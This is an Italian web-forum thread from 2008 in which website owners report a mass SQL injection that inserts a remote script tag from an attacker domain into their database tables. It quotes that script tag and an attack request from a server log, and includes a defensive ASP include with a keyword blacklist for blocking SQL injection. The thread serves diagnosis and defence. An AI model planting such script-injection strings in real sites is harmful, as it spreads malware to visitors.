Visualizzazione dei risultati da 1 a 9 su 9

Discussione: Problema sql hacking

  1. #1
    Utente di HTML.it
    Registrato dal
    Aug 2001
    Messaggi
    30

    Problema sql hacking

    Ciao a tutti,
    sono alcuni giorni che mi ritrovo delle tabelle nel db di sql di un mio sito con dentro questo:
    <script src=http://www.adw95.cooom/b.js></script> ho modificato il com con cooom perchè non vorrei che funzionasse e qualcuno inavveritamente ci cliccasse sopra...

    Mi si crea questa riga all'interno di tabelle che non sono collegate a form o a qualcosa che sia soggetto da "iniezione" qualcuno ha idea di come possano fare questo e come difendersi?

    Grazie
    Ciao

  2. #2
    Moderatore di Sicurezza informatica e virus L'avatar di Habanero
    Registrato dal
    Jun 2001
    Messaggi
    9,782
    Le informazioni fornite sono un po' poche per cercare di fare una diagnosi precisa.
    In ogni caso una injection può operare su campi e tabelle arbitrari.. se la vulnerabilità permette l'injection non ci sono particolari limiti. Il tutto è reso ancora più semplice se il DBMS supporta le stacked query.. MS SQL Server ad esempio.

    Ti riconsiglio di riguardare tutti i potenziali punti di iniezione, sia via POST che via GET.

    Nel caso di una iniezione via GET un aiuto ti potrebbe venire dall'analisi dei log del server.


    Per dovere di cronca l'indirizzo da te postato non risulta raggiungibile e quindi non più pericoloso..
    Leggi il REGOLAMENTO!

    E' molto complicato, un mucchio di input e output, una quantità di informazioni, un mucchio di elementi da considerare, ho una quantità di elementi da tener presente...
    Drugo

  3. #3
    Utente di HTML.it L'avatar di fero
    Registrato dal
    Dec 2000
    Messaggi
    265
    ciao, ho riscontrato lo stesso problema...

    una volta pulito tutto il giorno dopo ero daccapo....

    non si tratta di un iniezione nel post o nel get ma proprio di un accesso diretto al db!!

    nonostante ho cambiato password sia del db che dell'ftp non ho risolto! (e la password era veramente complessa)

    ho notato che ci sono un mare di siti con questo script anche di famosi (mtv.it)


    per ora pulisco a mano e faccio in modo che nelle pagine non esca mai quello scrpt con un replace, ma gradire bloccare questo sito .....

    sapete come fare?
    Fero
    Vuoi conoscere nuovi Amici?

  4. #4
    Moderatore di Sicurezza informatica e virus L'avatar di Habanero
    Registrato dal
    Jun 2001
    Messaggi
    9,782
    Originariamente inviato da fero

    non si tratta di un iniezione nel post o nel get ma proprio di un accesso diretto al db!!
    ......
    Cosa ti fa pensare a questa cosa?
    ma il DB è accessibile via TCP/IP direttamente da Internet senza passare per una pagina web???
    Leggi il REGOLAMENTO!

    E' molto complicato, un mucchio di input e output, una quantità di informazioni, un mucchio di elementi da considerare, ho una quantità di elementi da tener presente...
    Drugo

  5. #5
    E' una macchina windows 2000 con IIS 5.5
    ciao a tutti ho lo stesso problema il log mi fornisce questo:

    2008-05-28 22:19:39 62.13.169.82 - SEVEN2000 80 GET /index.asp Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CL R+2.0.50727),+http://www.miosito.com/index.asp?cat=1&clik=1&nome=SERVIZI,+62.13.169.82-2258356080.29933645,+clik=2&cat2=35|111|80040e07|S yntax_error_converting_the_nvarchar_value__to_a_co lumn_of_data_type_int. 500 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CL R+2.0.50727)


    A parer mio è un sql che sfrutta variabili get passandogli un stringa tra ' ' apici...
    Come faccio a disabilitare apici nell url e nel IIS?

    Se qualcuno sa qualcosa grazie

  6. #6
    ... la stringa completa è:

    http://www.miosito.com/index.asp?cat=1&clik=1&nome=SERVIZI,+62.13.169.82-2258356080.29933645,+clik=2&cat2=35|111|80040e07|S yntax_error_converting_the_nvarchar_value_'2<scrip t_src=http://www.adw95.com/b.js></script>'_to_a_column_of_data_type_int. 500 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CL R+2.0.50727)

  7. #7
    Moderatore di Sicurezza informatica e virus L'avatar di Habanero
    Registrato dal
    Jun 2001
    Messaggi
    9,782
    Dal log si vede proprio come sia effettivamente una injection passata via get.

    Nel tuo caso l'iniezione non dovrebbe essere andata a buon fine (vedi l'errore 500 - internal server error) a causa di un tentativo non riuscito di conversione del dato in un intero nel momento dell'inserito nel DB. Il campo del DB in cui si è tentato di iniettare la stringa è un intero. Ripeto, l'operazione non dovrebbe essere andata a buon fine ma esiste comunque una carenza nella validazione dei dati da parte della tua applicazione web prima dell'inserimento del DB. In sostanza per quella particolare richiesta ti è andata bene ma per altri parametri potrebbe andarti meno bene....
    Leggi il REGOLAMENTO!

    E' molto complicato, un mucchio di input e output, una quantità di informazioni, un mucchio di elementi da considerare, ho una quantità di elementi da tener presente...
    Drugo

  8. #8

    soluzione provvisoria

    <%
    ' SqlCheckInclude.asp
    '
    ' Author: Nazim Lala
    '
    ' This is the include file to use with your asp pages to
    ' validate input for SQL injection.


    Dim BlackList, ErrorPage

    '
    ' Below is a black list that will block certain SQL commands and
    ' sequences used in SQL injection will help with input sanitization
    '
    ' However this is may not suffice, because:
    ' 1) These might not cover all the cases (like encoded characters)
    ' 2) This may disallow legitimate input
    '
    ' Creating a raw sql query strings by concatenating user input is
    ' unsafe programming practice. It is advised that you use parameterized
    ' SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
    ' on how to do this using ADO from ASP.
    '
    ' Moreover, you need to also implement a white list for your parameters.
    ' For example, if you are expecting input for a zipcode you should create
    ' a validation rule that will only allow 5 characters in [0-9].
    '

    BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
    "char", "nchar", "varchar", "nvarchar",_
    "alter", "begin", "cast", "create", "cursor",_
    "declare", "delete", "drop", "end", "exec",_
    "execute", "fetch", "insert", "kill", "open",_
    "select", "sys", "sysobjects", "syscolumns",_
    "table", "update")

    ' Populate the error page you want to redirect to in case the
    ' check fails.

    ErrorPage = "/ErrorPage.asp"

    '''''''''''''''''''''''''''''''''''''''''''''''''' '
    ' This function does not check for encoded characters
    ' since we do not know the form of encoding your application
    ' uses. Add the appropriate logic to deal with encoded characters
    ' in here
    '''''''''''''''''''''''''''''''''''''''''''''''''' '
    Function CheckStringForSQL(str)
    On Error Resume Next

    Dim lstr

    ' If the string is empty, return true
    If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
    ElseIf ( StrComp(str, "") = 0 ) Then
    CheckStringForSQL = false
    Exit Function
    End If

    lstr = LCase(str)

    ' Check if the string contains any patterns in our
    ' black list
    For Each s in BlackList

    If ( InStr (lstr, s) <> 0 ) Then
    CheckStringForSQL = true
    Exit Function
    End If

    Next

    CheckStringForSQL = false

    End Function


    '''''''''''''''''''''''''''''''''''''''''''''''''' '
    ' Check forms data
    '''''''''''''''''''''''''''''''''''''''''''''''''' '

    For Each s in Request.Form
    If ( CheckStringForSQL(Request.Form(s)) ) Then

    ' Redirect to an error page
    Response.Redirect(ErrorPage&"?tipo_input=post")

    End If
    Next

    '''''''''''''''''''''''''''''''''''''''''''''''''' '
    ' Check query string
    '''''''''''''''''''''''''''''''''''''''''''''''''' '

    For Each s in Request.QueryString
    If ( CheckStringForSQL(Request.QueryString(s)) ) Then

    ' Redirect to error page
    Response.Redirect(ErrorPage &"?tipo_input=get&vedi="&s)

    End If

    Next


    '''''''''''''''''''''''''''''''''''''''''''''''''' '
    ' Check cookies
    '''''''''''''''''''''''''''''''''''''''''''''''''' '

    For Each s in Request.Cookies
    If ( CheckStringForSQL(Request.Cookies(s)) ) Then

    ' Redirect to error page

    Response.Redirect(ErrorPage&"?tipo_input=coockies& vedi="&s)

    End If

    Next


    '''''''''''''''''''''''''''''''''''''''''''''''''' '
    ' Add additional checks for input that your application
    ' uses. (for example various request headers your app
    ' might use)
    '''''''''''''''''''''''''''''''''''''''''''''''''' '

    %>

    E' da mettere in testa alle pagine asp che usano query parametriche, vogli far notare che il problema nasce anche dai cookies che tutti noi potremo avere e diffondere così ad altri siti l'sql innection!

  9. #9
    Moderatore di Sicurezza informatica e virus L'avatar di Habanero
    Registrato dal
    Jun 2001
    Messaggi
    9,782
    E' un attacco su vastissima scala che ha oramai colpito centinaia di migliaia, se non milioni di siti.
    http://blogs.zdnet.com/security/?p=1150
    Leggi il REGOLAMENTO!

    E' molto complicato, un mucchio di input e output, una quantità di informazioni, un mucchio di elementi da considerare, ho una quantità di elementi da tener presente...
    Drugo

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.